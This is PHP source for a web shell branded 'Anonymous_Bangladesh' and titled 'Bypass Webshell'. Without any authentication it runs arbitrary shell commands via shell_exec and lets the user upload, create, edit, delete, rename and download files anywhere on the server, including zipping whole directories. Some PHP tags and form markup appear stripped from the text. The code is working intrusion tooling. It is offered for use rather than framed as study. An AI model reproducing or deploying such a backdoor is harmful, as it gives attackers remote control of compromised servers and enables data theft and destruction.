// Helper functions
function get_current_directory() {
return isset($_GET['dir']) ? $_GET['dir'] : getcwd();
}

// Handle delete file request
if (isset($_POST['delete'])) {
$filename = $_POST['filename'];
$current_dir = get_current_directory();
$file_to_delete = $current_dir . '/' . $filename;
if (file_exists($file_to_delete)) {
unlink($file_to_delete);
echo "<script>alert('File deleted successfully!');window.location.href='';</script>";
} else {
echo "<script>alert('File not found!');window.location.href='';</script>";
}
}

// Handle rename file request
if (isset($_POST['rename'])) {
$oldname = $_POST['oldname'];
$newname = $_POST['newname'];
$current_dir = get_current_directory();
if (file_exists($current_dir . '/' . $oldname)) {
rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname);
echo "<script>alert('File renamed successfully!');window.location.href='';</script>";
} else {
echo "<script>alert('File not found!');window.location.href='';</script>";
}
}

// Handle file upload
if (isset($_POST['upload'])) {
$current_dir = get_current_directory();
$target_dir = $current_dir . "/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<script>alert('File uploaded successfully!');window.location.href='';</script>";
} else {
echo "<script>alert('File upload failed!');window.location.href='';</script>";
}
}

// Handle file creation
if (isset($_POST['create_file'])) {
$current_dir = get_current_directory();
$new_file_name = $_POST['new_file_name'];
$file_content = $_POST['file_content'];
$file_path = $current_dir . '/' . $new_file_name;
file_put_contents($file_path, $file_content);
echo "<script>alert('File created successfully!');window.location.href='';</script>";
}

// Handle file edit and save changes
if (isset($_POST['save_edits'])) {
$edited_content = $_POST['edited_content'];
$file_to_edit = $_GET['edit'];
if (file_exists($file_to_edit)) {
file_put_contents($file_to_edit, $edited_content);
echo "<script>alert('File saved successfully!');window.location.href='';</script>";
} else {
echo "<script>alert('File not found!');window.location.href='';</script>";
}
}

// Handle file download
if (isset($_GET['download'])) {
$file_to_download = $_GET['download'];
if (file_exists($file_to_download)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
header('Content-Length: ' . filesize($file_to_download));
readfile($file_to_download);
exit;
} else {
echo "<script>alert('File not found!');window.location.href='';</script>";
}
}

// Handle downloading all files as a ZIP
if (isset($_POST['download_all'])) {
$zip_file = 'all_files.zip';
$current_dir = get_current_directory();

$zip = new ZipArchive();
if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
$files = scandir($current_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $current_dir . '/' . $file;
if (is_file($file_path)) {
$zip->addFile($file_path, basename($file_path));
}
}
}
$zip->close();

// Download the ZIP file
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
header('Content-Length: ' . filesize($zip_file));
flush();
readfile($zip_file);

// Delete the ZIP file after download
unlink($zip_file);
exit;
} else {
echo "<script>alert('Failed to create ZIP file!');</script>";
}
}

// Command execution
if (isset($_POST['execute_command'])) {
$command = $_POST['command'];
if (!empty($command)) {
// WARNING: SYSTEM COMMAND EXECUTION CAN BE VERY DANGEROUS IF NOT PROPERLY SANITIZED
// Ensure that only safe commands are executed
$output = shell_exec($command);
$command_output = htmlspecialchars($output);
} else {
$command_output = "No command entered.";
}
}

<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Anonymous_Bangladesh <title>Anonymous_Bangladesh</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #000;
color: #00d1b2;
margin: 20px;
}
.container {
max-width: 1000px;
margin: 0 auto;
background-color: #1a1a1a;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 209, 178, 0.6);
}
.command-output {
background-color: #333;
color: #00d1b2;
padding: 10px;
border-radius: 6px;
font-family: monospace;
white-space: pre-wrap;
word-wrap: break-word;
}
table {
width: 100%;
border-collapse: collapse;
}
table, th, td {
border: 1px solid #00d1b2;
}
th, td {
padding: 12px;
text-align: center;
color: #fff;
}
th {
background-color: #00d1b2;
color: #000;
}
.file-actions {
display: flex;
justify-content: space-evenly;
align-items: center;
gap: 4px;
}
.file-actions button, .file-actions a {
background-color: #00d1b2;
color: #000;
border: none;
padding: 8px 12px;
cursor: pointer;
border-radius: 6px;
font-size: 14px;
display: flex;
justify-content: center;
align-items: center;
}
.file-actions a {
text-decoration: none;
color: #000;
}
.file-actions button:hover, .file-actions a:hover {
background-color: #00ffda;
}
.icon {
font-size: 18px;
}
input[type="text"] {
width: 100px;
padding: 10px;
font-size: 14px;
border: 1px solid #00d1b2;
background-color: #1a1a1a;
color: #fff;
border-radius: 4px;
}
.path-input {
width: 100%;
padding: 8px;
margin-bottom: 10px;
font-size: 14px;
background-color: #2a2a2a;
color: #00d1b2;
border: 1px solid #00d1b2;
border-radius: 4px;
}
</style>
<!-- Font Awesome CDN -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">


<div class="container">
<h1 style="font-size: 18px; text-align: center;">Bypass Webshell

<!-- Command Execution Form -->
<h3 style="font-size: 14px;">Execute Command:


<button type="submit" name="execute_command"><i class="fas fa-terminal icon"></i> Execute</button>



// Output command execution result
if (isset($command_output)) {
echo "<div class='command-output'>$command_output</div>";
}


<!-- File Operations and List -->
<h3 style="font-size: 14px;">File List:


<th>File Name</th>
<th>Size</th>
<th>Modified</th>
<th>Permissions</th>
<th>Actions</th>


$current_dir = get_current_directory();
$files = scandir($current_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $current_dir . '/' . $file;
$is_dir = is_dir($full_path);
echo "";
echo "";
echo "";
echo "";
echo "";
echo "<td class='file-actions'>
<a href='?edit=$full_path' title='Edit'><i class='fas fa-edit icon'></i></a>

<input type='hidden' name='filename' value='$file'>
<button type='submit' name='delete' title='Delete'><i class='fas fa-trash icon'></i></button>

<a href='?download=$full_path' title='Download'><i class='fas fa-download icon'></i></a>

<input type='hidden' name='oldname' value='$file'>
<input type='text' name='newname' placeholder='New Name'>
<button type='submit' name='rename' title='Rename'><i class='fas fa-pen icon'></i></button>

";
echo "";
}
}

" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "" . ($is_dir ? '-' : filesize($full_path) . " KB") . "" . date("F d Y H:i:s", filemtime($full_path)) . "" . substr(sprintf('%o', fileperms($full_path)), -4) . "


<!-- Upload File -->
<h3 style="font-size: 14px;">Upload File:


<button type="submit" name="upload"><i class="fas fa-upload icon"></i> Upload</button>

</div>